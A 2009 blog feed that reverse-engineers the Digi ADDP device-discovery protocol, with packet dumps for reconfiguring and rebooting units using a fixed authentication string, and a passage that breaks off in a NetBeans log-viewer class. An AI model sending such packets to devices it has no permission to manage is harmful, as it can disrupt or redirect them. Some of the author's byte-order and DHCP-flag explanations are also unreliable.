0010 0a 00 00 01 00 40 9d 31 a9 0a 04 64 62 70 73 .....@.1...dbps</pre>
<div>
<br /></div>
<div>
Break down as:</div>
<pre> 44 49 47 49 DIGI - Magic
00 03 .. - Packet type (0003)
00 17 .` - Payload size (23 bytes)
0a 00 00 09 .... - New IP Address: 10.0.0.9
ff ff ff 00 .... - New Subnet Mask: 255.255.255.0
0a 00 00 01 .... - New Gateway: 10.0.0.1
00 40 9d 31 a9 0a .@.1.. - Target MAC Address: 00:40:9D:31:A9:0A
04 64 62 70 73 .dbps - Authentication Data</pre>
<div>
<br /></div>
<div>
<b>Configuration Response Packet</b></div>
<div>
The configuration response packet is sent to indicate whether the configuration request was successful and if not to give a reason for failure by means of an error code and message. This packet has the id 0x0004 and uses the standard response packet format. The success is indicated by the result flag, result message, error code and configuration error code fields. See the tables at the end of this document for details on these fields.</div>
<div>
<br /></div>
<div>
Here is a sample packet for the above configuration request, indicating the request succeeded.</div>
<div>
<br /></div>
<div>
Data (44 bytes):</div>
<pre>0000 44 49 47 49 00 04 00 24 0a 01 00 09 14 4f 70 65 DIGI...(.....Ope
0010 72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75 ration Successfu
0020 6c 11 01 00 01 06 00 40 9d 31 a9 0a l......@.1.. </pre>
<div>
<br /></div>
<div>
Break down as:</div>
<pre> 44 49 47 49 DIGI - Magic
00 04 .. - Packet type (0004)
00 24 .( - Payload size (36 bytes)
0a 01 00 ... - Result flag: Success
09 14 4f 70 65 72 ..Oper
61 74 69 6f 6e 20 53 75 ation Su
63 63 65 73 73 66 75 6c ccessful - Result Message: Operation Successful
11 01 00 ... - Error code: None
01 06 00 40 9d 31 a9 0a ...@.1.. - Mac Address: 00:40:9D:31:A9:0A</pre>
<div>
<br /></div>
<div>
Here is a sample packet for a configuration request that failed because an invalid IP address was sent (0.0.0.0).</div>
<div>
<br /></div>
<div>
Data (37 bytes):</div>
<pre>0000 44 49 47 49 00 04 00 1d 0a 01 ff 09 0d 49 6e 76 DIGI.........Inv
0010 61 6c 69 64 20 76 61 6c 75 65 11 01 03 01 06 00 alid value......
0020 40 9d 31 a3 a5 @.1..</pre>
<div>
<br /></div>
<div>
Break down as:</div>
<pre> 44 49 47 49 DIGI - Magic
00 04 .. - Packet type (0004)
00 1d .( - Payload size (29 bytes)
0a 01 ff ... - Result flag: Error
09 0d 49 6e 76 61 6c ..Inval
69 64 20 76 61 6c 75 65 id value - Result Message: Invalid value
11 01 03 ... - Error code: 0x03
01 06 00 40 9d 31 a3 a5 ...@.1.. - Mac Address: 00:40:9D:31:A3:A5</pre>
<div>
<br /></div>
<div>
<b>DHCP Network Configuration Request</b></div>
<div>
The DHCP Configuration Request packets have the packet type of 0x0007 and are used to reconfigure the network of the Digi unit so it requests it's IP address from a DHCP server. If a DHCP server doesn't respond it will take on a default IP address (the 169 IPs you see often when a device can't find an IP address).</div>
<div>
<br /></div>
<div>
The packet is very simply, in that it payload simply has a 1 byte boolean to enable/disable DHCP followed by the target MAC and then the authentication data. This will enabled DHCP. If you send a 0x00 for the enable byte then DHCP will be enabled, and the current network settings will be untouched. If you send 0x00 DHCP will be disabled and any previous network settings will be restored.</div>
<div>
<br /></div>
<div>
The following sample would be to reconfigure the device with MAC address '00:40:9D:31:A3:A5', instructing it to automatically get it's IP address via DHCP.</div>
<div>
<br /></div>
<div>
Data (20 bytes):</div>
<pre>0000 44 49 47 49 00 07 00 0c 01 00 40 9d 31 a3 a5 04 DIGI......@.1...
0010 64 62 70 73 dbps</pre>
<div>
<br /></div>
<div>
Break down as:</div>
<pre> 44 49 47 49 DIGI - Magic
00 07 .. - Packet type (0003)
00 0c .. - Payload size (12 bytes)
01 .... - Enable DHCP
00 40 9d 31 a3 a5 .@.1.. - Target MAC Address: 00:40:9D:31:A3:A5
04 64 62 70 73 .dbps - Authentication Data</pre>
<div>
<br /></div>
<div>
<b>DHCP Network Configuration Response</b></div>
<div>
This packet is the same as the Static Network Configuration response, except it has the packet type identifier 0x0008. Here is a sample response for the DHCP request packet sample above:</div>
<div>
<br /></div>
<div>
Data (44 bytes):</div>
<pre>0000 44 49 47 49 00 08 00 24 0a 01 00 09 14 4f 70 65 DIGI...$.....Ope
0010 72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75 ration Successfu
0020 6c 11 01 00 01 06 00 40 9d 31 a3 a5 l......@.1..</pre>
<div>
<br /></div>
<div>
Break down as:</div>
<pre> 44 49 47 49 DIGI - Magic
00 08 .. - Packet type (0008)
00 24 .( - Payload size (36 bytes)
0a 01 00 ... - Result flag: Success
09 14 4f 70 65 72 ..Oper
61 74 69 6f 6e 20 53 75 ation Su
63 63 65 73 73 66 75 6c ccessful - Result Message: Operation Successful
11 01 00 ... - Error code: None
01 06 00 40 9d 31 a3 a5 ...@.1.. - Mac Address: 00:40:9D:31:A3:A5</pre>
<div>
<br /></div>
<div>
<b>Restart Request Packet</b></div>
<div>
Th restart request is used to instruct a device to restart itself. This is useful in some cases, and needed to apply certain configuration changes, specifically the network configuration done with the Configuration packets.</div>
<div>
<br /></div>
<div>
This packet has the packet type id of 0x0005 and has a target MAC followed by the authentication data as it's payload. This gives a payload length of 11 bytes and a total packet size of 19 bytes. The following is a sample packet that restarts the device with MAC '00:40:9D:31:A9:0A'.</div>
<div>
<br /></div>
<div>
Data (19 bytes):</div>
<pre>0000 44 49 47 49 00 05 00 0b 00 40 9d 31 a9 0a 04 64 DIGI.....@.1...d
0010 62 70 73 bps</pre>
<div>
<br /></div>
<div>
Break down as:</div>
<pre> 44 49 47 49 DIGI - Magic
00 05 .. - Packet type (0005)
00 0b .` - Payload size (11 bytes)
00 40 9d 31 a9 0a ...... - Target MAC: 00:40:9D:31:A9:0A
04 64 62 70 73 .dbps - Authentication Data</pre>
<div>
<br /></div>
<div>
<b>Restart Response Packet</b></div>
<div>
After you send a restart request, the device will respond, reporting it's result. If successful the device will immediately initiate a restart. This packet has the packet type id 0x0006. As with all the other response packets it uses the field based packet format. The following sample packet is a restart response indicating success of the previous restart request sample.</div>
<div>
<br /></div>
<div>
Data (44 bytes):</div>
<pre>0000 44 49 47 49 00 06 00 24 0a 01 00 09 14 4f 70 65 DIGI...$.....Ope
0010 72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75 ration Successfu
0020 6c 11 01 00 01 06 00 40 9d 31 a9 0a l......@.1..</pre>
<div>
<br /></div>
<div>
Break down as:</div>
<pre> 44 49 47 49 DIGI - Magic
00 06 .. - Packet type (0006)
00 24 .( - Payload size (36 bytes)
0a 01 00 ... - Result flag: Success
09 14 4f 70 65 72 ..Oper
61 74 69 6f 6e 20 53 75 ation Su
63 63 65 73 73 66 75 6c ccessful - Result Message: Operation Successful
11 01 00 ... - Error code: 0x00
01 06 00 40 9d 31 a9 0a ...@.1.. - Mac Address: 00:40:9D:31:A9:0A</pre>
<div>
<br /></div>
<div>
<b><span class="Apple-style-span" style="font-size: large;">Tables of Codes</span></b></div>
<div>
The following tables summarize the different types and codes used in the protocol.</div>
<div>
<br /></div>
<div>
<b>Packet Types</b></div>
<pre> 0x0001: Discovery Request
0x0002: Discovery Response
0x0003: Static Network Configuration Request
0x0004: Static Network Configuration Response
0x0005: Reboot Request
0x0006: Reboot Response
0x0007: DHCP Network Configuration Request
0x0008: DHCP Network Configuration Response</pre>
<div>
<br /></div>
<div>
<b>Field Types</b></div>
<pre> 0x01: 6 byte MAC address
0x02: 4 byte IP address
0x03: 4 byte Netmask
0x04: String Network Name
0x05: {UNSEEN} Domain
0x06: {UNSEEN} Hardware Type
0x07: 1 byte Hardware Revision
0x08: String Firmware
0x09: String Result message
0x0a: 1 byte Result flag - see "Result Flags"
0x0b: 4 byte IP Gateway
0x0c: 2 byte Configuration error code - see "Configuration Errors"
0x0d: String device name
0x0e: 4 byte Real Port number
0x0f: 4 byte DNS IP
0x10: 1 byte DHCP Enabled boolean flag.
0x11: 1 byte Error code
0x12: 1 byte Serial Port Count
0x13: 4 byte Encrypted Real Port number
0x14: 2 byte Version
0x15: String Vender GUID</pre>
<div>
<br /></div>
<div>
<b>Error codes (Field 0x11)</b></div>
<pre> 0x00: Success
0x01: Authentication Failure
0x03: Invalid Value
0x06: Unable to save value</pre>
<div>
<br /></div>
<div>
<b>Result flags (Field 0x0a)</b></div>
<pre> 0x00: Success
0xff: Error</pre>
<div>
<br /></div>
<div>
<b>Configuration Errors (0x0c)</b></div>
<pre> 0x0000: No error.
0x0001: Digi in different subnet than sender</pre>
<div>
<br /></div>
<div>
<b>Boolean flags</b></div>
<pre> 0x01: True/Enabled
0x00: False/Disabled</pre>
<div>
<br /></div>
<div>
<b><span class="Apple-style-span" style="font-size: large;">Some General Notes</span></b></div>
<div>
<ol>
<li>There might be more packet types.</li>
<li>There are more error codes which I haven't seen, and thus haven't documented.</li>
<li>Fields types 0x05 and 0x06 haven't been seen, so I'm not sure what they're data types are.</li>
<li>Re. fields 0x0e and 0x13 being 4 bytes. Ports can only be 2 bytes (0 to 65535). Why they made it 4 bytes is a mystery, so it could be possible that they store extra information in the first 2 bytes.</li>
</ol>
</div>
<div>
<br /></div>
</div>
</div>
</div>
Quintinhttp://www.blogger.com/profile/03181046816784471817noreply@blogger.com6tag:blogger.com,1999:blog-3694842005173898380.post-66326655121935864482009-11-20T10:26:00.010+02:002009-11-27T10:18:01.400+02:00Advanced Digi Discovery Protocol Notes<div>This is a continuation of <a href="http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol.html">my previous post</a>.</div><div><br /></div>So I've come further in my analysis of the ADDP protocol. I've got what is almost a complete breakdown, only missing the definition of 2 fields and a few error codes I haven't seen yet.<div><br /></div><div>I haven't formalized it yet, though all the required information is contained in this summary. With it and some common sense you can create a working implementation. I'll formalize it over the weekend for those of you who appreciate such things (edit: <a href="http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html">See my new post 'Advanced Digi Discovery Protocol Explained'</a>).</div><div><br />Also have a look at: <a href="http://sourceforge.net/projects/jdigidiscover/">JDigiDiscover</a>. It's what I have so far for an implementation. It's not done yet, either. And *cough* excuse the 70 minute GUI job.<br /><div><div><br /></div><div>Here's some notes. Have fun.</div><pre>++++++++++++++++++++++++++++++++++<br />+ Packet Examples and Breakdowns +<br />++++++++++++++++++++++++++++++++++<br /><br />Discovery Request:<br />---------------------------------------------------------------------------------<br />0000 44 49 47 49 00 01 00 06 ff ff ff ff ff ff DIGI..........<br /><br />Discovery Response:<br />---------------------------------------------------------------------------------<br />0000 44 49 47 49 00 02 00 60 01 06 00 40 9d 31 a9 0a DIGI...`...@.1..<br />0010 02 04 0a 00 00 e7 03 04 ff ff ff 00 0b 04 0a 00 ................<br />0020 00 01 0d 0f 44 69 67 69 20 43 6f 6e 6e 65 63 74 ....Digi Connect<br />0030 20 4d 45 10 01 00 07 01 00 08 1e 56 65 72 73 69 ME........Versi<br />0040 6f 6e 20 38 32 30 30 30 38 35 36 5f 46 36 20 30 on 82000856_F6 0<br />0050 37 2f 32 31 2f 32 30 30 36 0e 04 00 00 03 03 13 7/21/2006.......<br />0060 04 00 00 04 03 12 01 01 ........<br /><br />Configuration Request:<br />---------------------------------------------------------------------------------<br />0000 44 49 47 49 00 03 00 17 0a 00 00 e7 ff ff ff 00 DIGI............<br />0010 0a 00 00 01 00 40 9d 31 a9 0a 04 64 62 70 73 .....@.1...dbps<br /><br />Configuration Success Response:<br />---------------------------------------------------------------------------------<br />0000 44 49 47 49 00 04 00 28 0a 01 00 09 14 4f 70 65 DIGI...(.....Ope<br />0010 72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75 ration Successfu<br />0020 6c 11 01 00 01 06 00 40 9d 31 a9 0a 0c 02 00 01 l......@.1......<br /><br />Configuration Failure Response:<br />---------------------------------------------------------------------------------<br />0000 44 49 47 49 00 04 00 29 0a 01 ff 09 19 55 6e 61 DIGI...).....Una<br />0010 62 6c 65 20 74 6f 20 6c 6f 61 64 2f 73 61 76 65 ble to load/save<br />0020 20 76 61 6c 75 65 11 01 06 01 06 00 40 9d 31 99 value......@.1.<br />0030 de .<br /><br />Reboot Request:<br />---------------------------------------------------------------------------------<br />0000 44 49 47 49 00 05 00 0b 00 40 9d 31 a9 0a 04 64 DIGI.....@.1...d<br />0010 62 70 73 bps<br /><br />Reboot Response:<br />---------------------------------------------------------------------------------<br />0000 44 49 47 49 00 06 00 24 0a 01 00 09 14 4f 70 65 DIGI...$.....Ope<br />0010 72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75 ration Successfu<br />0020 6c 11 01 00 01 06 00 40 9d 31 a9 0a l......@.1..<br /><br />Discovery Request Breakdown:<br />---------------------------------------------------------------------------------<br /> 44 49 47 49 DIGI - Magic<br /> 00 01 .. - Packet type (0001)<br /> 00 06 .` - Payload size (6 bytes)<br /> ff ff ff ff ff ff ...... - Target MAC<br /><br />Discovery Response Breakdown (104 bytes):<br />---------------------------------------------------------------------------------<br /> 44 49 47 49 DIGI - Magic<br /> 00 02 .. - Packet type (0002)<br /> 00 60 .` - Payload size (96 bytes)<br /> 01 06 00 40 9d 31 99 de ...@.1.. - Mac address<br /> 02 04 0a 00 00 b4 ...... - IP Address<br /> 03 04 ff ff ff 00 ...... - Subnet Mask<br /> 0b 04 00 00 00 00 ...... - Gateway Address<br /> 0d 0f 44 69 67 69 20 43 ..Digi C<br />6f 6e 6e 65 63 74 20 4d 45 onnect ME - Device Name<br /> 10 01 01 ... - DHCP Enabled<br /> 0f 04 0a 00 00 04 ...... - SNMP Traps Host ??<br /> 07 01 00 ... - ??<br /> 08 1e 56 65 72 ..Ver<br />73 69 6f 6e 20 38 32 30 30 sion 8200<br />30 38 35 36 5f 46 36 20 30 0856_F6 0<br />37 2f 32 31 2f 32 30 30 36 7/21/2006 - Software Version<br /> 0e 04 00 00 03 03 ...... - Real Port<br /> 13 04 00 00 04 03 ...... - Encrypted Real Port<br /> 12 01 01 . - Serial port count<br /><br />Configuration Request Breakdown<br />---------------------------------------------------------------------------------<br /> 44 49 47 49 DIGI - Magic<br /> 00 03 .. - Packet type (0003)<br /> 00 17 .` - Payload size (23 bytes)<br /> 0a 00 00 e7 .... - New IP Address<br /> ff ff ff 00 .... - New Subnet Mask<br /> 0a 00 00 01 .... - New Gateway<br /> 00 40 9d 31 a9 0a .@.1.. - Target MAC Address<br /> 04 64 62 70 73 .dbps - Authentication Data<br /><br />Configuration Success Response Breakdown<br />---------------------------------------------------------------------------------<br /> 44 49 47 49 DIGI - Magic<br /> 00 04 .. - Packet type (0004)<br /> 00 28 .( - Payload size (40 bytes)<br /> 0a 01 00 ... - Result flag (see codes below)<br /> 09 14 4f 70 ..Op<br />65 72 61 74 69 6f 6e 20 53 eration S<br />75 63 63 65 73 73 66 75 6c uccessful - Result Message<br /> 11 01 00 ... - Error code. (see codes below)<br /> 01 06 00 40 9d 31 a9 0a ...@.1.. - Mac Address<br /> 0c 02 00 01 .... - Configuration Error Code<br /><br />Reboot Request Breakdown<br />---------------------------------------------------------------------------------<br /> 44 49 47 49 DIGI - Magic<br /> 00 05 .. - Packet type (0005)<br /> 00 0b .` - Payload size (11 bytes)<br /> 00 40 9d 31 a9 0a ...... - Target MAC<br /> 04 64 62 70 73 .dbps - Authentication Data<br /><br />Reboot Response Breakdown<br />---------------------------------------------------------------------------------<br /> 44 49 47 49 DIGI - Magic<br /> 00 06 .. - Packet type (0006)<br /> 00 24 .( - Payload size (36 bytes)<br /> 0a 01 00 ... - Result flag (see codes below)<br /> 09 14 4f 70 ..Op<br />65 72 61 74 69 6f 6e 20 53 eration S<br />75 63 63 65 73 73 66 75 6c uccessful - Result Message<br /> 11 01 00 ... - Error code<br /> 01 06 00 40 9d 31 a9 0a ...@.1.. - Mac Address<br /><br />+++++++++<br />+ Codes +<br />+++++++++<br />Packet Types:<br /> 0x0001: Discovery Request<br /> 0x0002: Discovery Response<br /> 0x0003: Static Network Configuration Request<br /> 0x0004: Static Network Configuration Response<br /> 0x0005: Reboot Request<br /> 0x0006: Reboot Response<br /> 0x0007: DHCP Network Configuration Request<br /> 0x0008: DHCP Network Configuration Response<br /><br />Field Types:<br /> 0x01: 6 byte MAC address<br /> 0x02: 4 byte IP address<br /> 0x03: 4 byte Netmask<br /> 0x04: String Network Name<br /> 0x05: UNSEEN<br /> 0x06: UNSEEN<br /> 0x07: 1 byte - UNKNOWN - seen in discovery responses<br /> 0x08: String Firmware<br /> 0x09: String Result message<br /> 0x0a: 1 byte Result flag - see "Result Flags"<br /> 0x0b: 4 byte IP Gateway<br /> 0x0c: 2 byte Configuration error code - see "Configuration Errors"<br /> 0x0d: String device name<br /> 0x0e: 4 byte Real Port number<br /> 0x0f: 4 byte SNMP Traps host IP address ??<br /> 0x10: 1 byte DHCP Enabled flag. 0x01 = enabled, 0x00 = disabled<br /> 0x11: 1 byte Error code<br /> 0x12: 1 byte Serial Port Count<br /> 0x13: 4 byte Encrypted Real Port number<br /><br />Error codes (0x11):<br /> 0x00: Success<br /> 0x01: Authentication Failure<br /> 0x03: Invalid Value<br /> 0x06: Unable to save value<br /><br />Result flags (0x0a):<br /> 0x00: Success<br /> 0xff: Error<br /><br />Configuration Errors (0x0c):<br /> 0x0001: Digi in different subnet than sender<br /><br />+++++++++<br />+ Notes +<br />+++++++++<br />Authentication data in "Configuration Request" and "Reboot Request" packets. This is an oddity. <br />I frankly don't know why they have this in there. I doubt they're using decryption and this <br />information is needed for the key, since these packets are used for initial configuration. Further, this value doesn't change when you change your root user's <br />password. Frankly it can't, because the Digi tool doesn't prompt for a password, and this "has" <br />to always work, or at least I figure they meant for it to always work (unless explicitely disabled).<br /><br />It's a very insecure way of doing it. They might as well have left out the password. I guess it <br />decreases the chance of a corrupt packet to reconfigure the device. It certainly doesn't block <br />hackers. A more secure option would probably have be to do a packet challenge and based on the <br />response encrypt a string and send it to the device. This way it's very difficult to discover, <br />as people would need to reverse engineer this challenge algorithm.<br /><br />This design sort of indicates to me a 9th packet type which is a factory default reset packet. <br />Their style certainly makes this possible. <br /><br />+++++++++<br />+ Todos +<br />+++++++++<br />1. Investigate the possibility of more packets.<br />2. Find the purpose of field 0x07<br />3. Find more error codes.<br />4. See if fields 0x05 and 0x06 exist and what they're for.<br />5. Investigate whether fields above 0x13 exist.</pre><br /></div></div>Quintinhttp://www.blogger.com/profile/03181046816784471817noreply@blogger.com0tag:blogger.com,1999:blog-3694842005173898380.post-6989630336220248172009-11-17T22:18:00.020+02:002014-09-25T08:35:24.302+02:00Advanced Digi Discovery Protocol<div xmlns="http://www.w3.org/1999/xhtml">
When you work with microcontrollers you most often use some type of serial protocol to communicate between devices or with a computer. This is not always suitable, especially when doing so over longer distances. To solve this you get a very useful device called the Digi Connect ME or Digi Connect WiME (which is the same, except it uses WiFi where the other uses ethernet).<br />
<br />
This device basically converts all types of serial protocols to ethernet and is very customizable. We, for instance, have it configured to persistently attempt to establish a connection to our server. Any data sent/received to the serial port or the ethernet connection will be transferred to the other side. So it basically allows ethernet communication without the effort or complexity of implementing any of the numerous protocols needed to do TCP/IP communication.<br />
<br />
Since you don't have a computer screen or some display, to configure/manage these devices require some extra utilities. Imagine having changed the IP address of the device, it's not configured to do any communication automatically and you forget what you configured? How would you figure this out other than doing a lengthy and complex IP scan? You can also not reset the device to it's default, which will not help you in any case, because it's default is to use DHCP and you don't have a DHCP server on your network? This is just one of the many difficulties with electronics. With a computer you can jump in front of the keyboard and configure an IP address. So what to do?<br />
<br />
The developers of the Digi device also made a utility called Digi Device Discovery. It uses their proprietary ADDP (Advanced Digi Discover Protocol) protocol to send a UDP multicast. All Digi devices will then respond with their configured IP address and some other bits of information. It also allows you to configure the IP address using these same multicast packets. On top of this they also give a C header file and library so you can have this functionality in your own applications. I'm sure you can see the amazing benefits of this, especially if you have a distributed network of electronic devices with these embedded Digi units.<br />
<br />
Unfortunately this application is only for Windows, and the header only for C and again only for Windows. From what I can gather the Digi folks haven't found the time to document the protocol either, and I couldn't find anything useful on the internet. I did, however, find a short description of one of the packets and a few of the fields after I completed my analysis of the first 4 packets. What timing as this could have saved me 3 hours.<br />
<br />
I needed to use these packets though. It can be very useful to manage your devices. And obviously the fact that I didn't know how it works was unacceptable and inspired me to go to any length to learn it. So armed with Wireshark (previously called Ethereal) and using Wine to run Digi Device Discovery, I set out a few evenings and analyzed the protocol. After a few hours total I had a working Java implementation running which discovers all Digi devices and lists their public configuration (the bits available in the discovery packets) as well as being able to change their IP addresses using the same protocol. I haven't completed all the features of the configuration yet, so I'm not publishing it today. It should be done by the end of this weekend (by the 22nd November 2009), at which time I'll release it under Apache License 2.0 (edit: <a href="http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html">See my new post 'Advanced Digi Discovery Protocol Explained'</a>).<br />
<br />
For now, here is a description of the protocol.<br />
<br />
<big><u>Advanced Digi Discovery Protocol</u></big><br />
ADDP works with UDP multicast datagrams on multicast address 224.0.5.128 and port 2362. The same address is used for sending and receiving datagrams.<br />
<br />
All packets whether sent/received have the same basic form. It has a header of 8 bytes and a variably sized payload which consist of a variable number of fields.<br />
<br />
<u>General Packet Structure of Responses</u><br />
A packet has the format of header followed by payload.<br />
<br />
The header starts with 4 magic bytes consisting of the ASCII bytes 'D', 'I', 'G', 'I'. Very creative. After the magic bytes follows a 2 byte packet identifier, and then a 2 byte integer for the payload size (in bytes).<br />
<br />
The payload for request packets are unique to each type of request, where the payload of responses all have the same basic form, which is a variable number of fields. Each field starts with a 1 byte field type identifier, followed by a 1 byte data length, followed by the data.<br />
<br />
And that's the packet structure. Simple.<br />
<br />
<u>Packet Types</u><br />
So far I've identified 4 packet types, nl.<br />
Discovery Request: 0x0001<br />
Discovery Response: 0x0002<br />
Configuration Request: 0x0003<br />
Configuration Response: 0x0004<br />
<br />
<u>Field Types</u><br />
I've also identified the following field types:<br />
Mac Address: 0x01<br />
IP Address: 0x02<br />
IP Subnet: 0x03<br />
IP Gateway: 0x0b<br />
Network Name: 0x04<br />
Device Name: 0x0d<br />
Dhcp Enabled: 0x10<br />
Some Unknown IP: 0x0f<br />
Firmware Version: 0x08<br />
Encrypted Real Port Number: 0x13<br />
Real Port: 0x0e<br />
Serial Ports: 0x12<br />
UNKNOWN1: 0x07<br />
Configuration Error: 0x0c<br />
<br />
Two of the fields I haven't identified yet. I do, however, suspect the 0x0f field is the SNMP traps host as it once contained this value, though I haven't been able to reproduce this.<br />
<br />
These are only the fields for the discovery response. I haven't documented the fields/type IDs for the configuration request/response.</div>
<div xmlns="http://www.w3.org/1999/xhtml">
<br /></div>
<div xmlns="http://www.w3.org/1999/xhtml">
<u>Strings, Data Types and Byte Order</u><br />
<br />
Byte ordering is done like it is on any standard Intel based computer. So if you've done any network programming on these architectures you should be comfortable with this protocol. </div>
<div xmlns="http://www.w3.org/1999/xhtml">
<br /></div>
<div xmlns="http://www.w3.org/1999/xhtml">
Items like integers and numbers are in Little Endian byte order, so it's most significant byte first. The number 0x0219 is decimal 537, and can be calculated as ((0x02 << 8) + 0x19).</div>
<div xmlns="http://www.w3.org/1999/xhtml">
<br /></div>
<div xmlns="http://www.w3.org/1999/xhtml">
IP Addresses are done with the host byte order, so they are read as they are in the packet. So the bytes: 0x0a, 0x00, 0x00, 0x65 is the IP address: 10.0.0.101.</div>
<div xmlns="http://www.w3.org/1999/xhtml">
<br /></div>
<div xmlns="http://www.w3.org/1999/xhtml">
Further strings are (as they are usually) just a character array and has no terminator. The field's value is it's complete data part. So a string field with length 9, will have 9 data bytes which is a string of length 9. Strings are always composed of single byte ASCII characters.</div>
<br />
<div xmlns="http://www.w3.org/1999/xhtml">
<u>Discovery Request Payload Structure</u><br />
The discovery request has a single field to specify the target mac address for which you want to request the discovery. If this has as a value the MAC address ff:ff:ff:ff:ff:ff (the broadcast MAC) then all Digis will respond. You specify a specific MAC address if you want to request a response from a specific device. This field, however, has a special structure in that it doesn't have a field ID or a size. It's simply the 6 bytes for the MAC address. This is because, as I mentioned, request packets each have their own unique structure.<br />
<br />
Here is a sample discovery request packet (header then payload):<br />
DIGI{0x00, 0x01}{0x00, 0x06}</div>
<div xmlns="http://www.w3.org/1999/xhtml">
{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}<br />
<br />
To explain again, the header has the magic bytes DIGI, then the packet type of 0x0001, then the payload size of 0x0006 and the single field of target mac, which is the broadcast mac of ff:ff:ff:ff:ff:ff.</div>
<div xmlns="http://www.w3.org/1999/xhtml">
<br />
<u>Discovery Response Payload Structure</u><br />
The discovery response has multiple fields for each of the configuration entries. Not all of the responses contain all the fields, so these packets have their sizes differ from device to device, all depending on the configuration of the device.<br />
<br />
A sample packet would be as follows. I broke it down into lines to demonstrate the different parts of the packet.</div>
<div xmlns="http://www.w3.org/1999/xhtml">
<pre>Total packet size: 104 bytes (8 byte header, 96 byte payload)
44 49 47 49 DIGI - Magic
00 02 .. - Packet type (0002)
00 60 .` - Payload size (96 bytes)
01 06 00 40 9d 31 a9 0a ...@.1.. - Mac address: 00:40:9D:31:A9:0A
02 04 0a 00 00 e7 ...... - IP Address: 10.0.0.231
03 04 ff ff ff 00 ...... - Subnet Mask: 255.255.255.0
0b 04 0a 00 00 01 ...... - Gateway Address: 10.0.0.1
0d
0f 44 69 67 69 20 43 6f .Digi Co
6e 6e 65 63 74 20 4d 45 nnect ME - Device Name: Digi Connect ME
10 01 00 ... - DHCP Disabled
07 01 00 ... - Unknown - never seen a non-0x00 value.
08 1e 56 65 72 73 69 6f ..Versio
6e 20 38 32 30 30 30 38 n 820008
35 36 5f 46 36 20 30 37 56_F6 07
2f 32 31 2f 32 30 30 36 /21/2006 - Firmware: Version 82000856_F6 07/21/2006
0e 04 00 00 03 03 ...... - Real Port: 771
13 04 00 00 04 03 ...... - Encrypted Real Port: 1027
12 01 01 . - Serial port count: 1</pre>
</div>
<div xmlns="http://www.w3.org/1999/xhtml">
<u>Conclusion</u><br />
This is in no way the official specification of the protocol. I discovered all of this by analyzing the protocol using Wireshark and some common sense. Like I mentioned I'm also not completely done, and even if I were there might be some misinterpretations. I'll document the other packets and have the Java implementation of the protocol and utility up around the 22nd of November 2009 (edit: <a href="http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html">See my new post 'Advanced Digi Discovery Protocol Explained'</a>).</div>
<br />
<div xmlns="http://www.w3.org/1999/xhtml">
This is a proprietary protocol developed by and it's copyright owned by Digi International Inc. Use of the protocol is limited to their terms. I released this purely because I noticed a need for implementing it in your own non C and non Windows applications for managing your Digi devices. For more information see <a href="http://www.digi.com/">http://www.digi.com/</a>.</div>
Quintinhttp://www.blogger.com/profile/03181046816784471817noreply@blogger.com1tag:blogger.com,1999:blog-3694842005173898380.post-30600288470364717002009-11-15T12:50:00.000+02:002017-12-03T11:52:59.492+02:00Netbeans Platform custom Log ViewerIf you have complex applications building in some diagnostic components are almost as important as the functionality itself. It's inevitable that an application will give some problems at one time or another, and diagnostics, if done well, will save you a lot of time in avoiding this, foreseeing and preventing this, or after the fact resolving the issue.<br />
<br />
The most useful type of diagnostic is probably log messages. One of the most used components I've ever developed was my log4j wrapper. Whenever I write an application it's the first library I add onto my dependency list. I also made it very easy to get an instance to the logger. Assume I create a class called "DataFile", all I do to get a logger is something like this (always the first line in the class):<br />
public class DataFile<br />
{<br />
private static final Log log = Log.getLog(DataFile.class);<br />
}<br />
<br />
This will create a log4j logger with the name "package.DataFile". This way I can also configure my logs in a very flexible manner based no package. If you don't know what I mean, log4j allows you to configure log appenders in a hierarchical manner. If you have 2 packages "com.blogspot" and "com.blogspot.qbeukes", you can configure all com.blogspot to goto one location, and com.blogspot.qbeukes to goto another location. This way "com.blogspot.anotherpackage" will goto the same location as com.blogspot, and com.blogspot.qbeukes.subq to goto the same location as com.blogspot.qbeukes. Since it follows the same name patterns as java packages, having my logs created based on a class gives me the flexibility of classifying my logs in a way that groups the same as my code is grouped.<br />
<br />
There is one problem with log files though. When a technician is in the field and fails to fix a problem, I often need the log file to analyze exactly what is happening. For this he need to locate and copy the log file. They aren't always comfortable with Linux, so this time around I figured I'd create log file access as a feature into the application. So any administrator user can access the log files and save them onto a removable media right from the application.<br />
<br />
What inspired this idea was Netbeans' existing IDE log viewer component. It allows you to view the log output from Netbeans' loggers, and tails the output as it changes. I had a look at how it uses this and tried to implement it myself, only to be disappointed to find out that some of the classes are protected. Luckily the actual mechanism is nothing more than opening a file and piping it's output into Netbeans' existing output windows.<br />
<br />
So I copied it's source into a class called LogViewer, create the actions in my layer.xml and got my very own LogViewer. Here's the code if you want to use it. Remember that I copied Netbeans code, so this code is licensed under the Netbeans' licenses. For more info see <a href="http://www.netbeans.org/" target="_blank">http://www.netbeans.org/</a>.<br />
<br />
First, create a class called LogViewer.java:<br />
<pre>import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.LinkedList;
import com.blogspot.qbeukes.logging.Log;
import org.openide.util.RequestProcessor;
import org.openide.windows.IOProvider;
import org.openide.windows.InputOutput;
public class LogViewer implements Runnable
{
private static final Log log = Log.getLog(LogViewer.class);
boolean shouldStop = false;
FileInputStream filestream = null;
BufferedReader ins;
InputOutput io;
File fileName;
String ioName;
int lines;
Ring ring;
private final RequestProcessor.Task task = RequestProcessor.getDefault().create(this);
/** Connects a given process to the output window. Returns immediately, but threads are started that
* copy streams of the process to/from the output window.
* @param process process whose streams to connect to the output window
* @param ioName name of the output window tab to use
*/
public LogViewer(final File fileName, final String ioName)
{
this.fileName = fileName;
this.ioName = ioName;
}
private void init()
{
final int LINES = 2000;
final int OLD_LINES = 2000;
ring = new Ring(OLD_LINES);
String line;
// Read the log file without
// displaying everything
try
{
